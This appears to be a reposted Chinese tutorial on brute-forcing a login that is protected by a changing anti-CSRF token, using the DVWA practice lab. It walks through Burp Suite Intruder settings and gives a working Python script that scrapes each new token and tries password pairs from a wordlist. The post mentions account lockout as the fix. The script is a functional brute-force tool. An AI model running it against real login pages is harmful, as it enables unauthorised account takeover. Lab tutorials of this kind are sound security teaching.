暴力破解绕过token限制
Posted 浪人联想
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了暴力破解绕过token限制相关的知识,希望对你有一定的参考价值。
记录一下在爆破的时候绕过token限制的方法
BurpSuite
1.使用burp抓包
bp抓包如下,DVWA高等级暴力破解漏洞靶场进行演示,(注意:这里抓到的包不要点击forward)
2.配置
发送到intruter模块,并对需要爆破的目标位置进行设置。(这里主要是为了演示绕过token限制,所以假设已知用户名为admin),选择集成炸弹。
方便演示,给password简单设置个字典
user_token需要从页面中获取
步骤:options->add->选中user_token的值。
设置跟随重定向,方法如下:options->redirection设置always
给token加上payload
结果匹配Welcome字符串。
3.爆破
点击attack开始爆破,报错。
显示多线程冲突,修改payload1为单线程即可;
爆破成功,密码password,成功绕过。
解决方法:当检测到频繁的错误登录后,将账户锁定,爆破也就无法继续。
Python
#-*-coding:utf-8-*-
import requests
from bs4 import BeautifulSoup
url = "http://127.0.0.1/DVWA/vulnerabilities/brute/index.php?username={0}&password={1}&Login=Login&user_token={2}"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'
}
cookies = {
'security':'high',
'PHPSESSID':'a5ta238sbggu66lnigk48074c0'
}
payloads = [
'123456',
'whoami',
'password',
'langren',
'lianxiang',
'pwdls',
'admin'
]
def burp(payloads,url):
#获得user_token
source = 'http://127.0.0.1/DVWA/vulnerabilities/brute/index.php'
web_data = requests.get(source, headers=headers, cookies=cookies)
soup = BeautifulSoup(web_data.text, 'html.parser')
user_token = soup.select('input[name="user_token"]')[0]['value']
# 爆破
for payload1 in payloads:
for payload2 in payloads:
target = url.format(payload1, payload2, user_token)
print u'当前请求:' + target
web_data = requests.get(target, headers=headers, cookies=cookies)
soup = BeautifulSoup(web_data.text, 'html.parser')
user_token = soup.select('input[name="user_token"]')[0]['value']
feature = soup.find('pre')
try:
if feature.get_text() == 'Username and/or password incorrect.': # 错误的密码或者用户名就会页面会出现此语句,这也是我们需要检索的
print u'错误'
except:
print u'可能得到结果:'
print 'username:' + payload1 + '\\n' + 'password:' + payload2
exit(u'结束')
if __name__ == '__main__':
burp(payloads,url)
爆破成功
参考文章:https://www.cnblogs.com/qi-yuan/p/12395524.html
仅供学习使用!
以上是关于暴力破解绕过token限制的主要内容,如果未能解决你的问题,请参考以下文章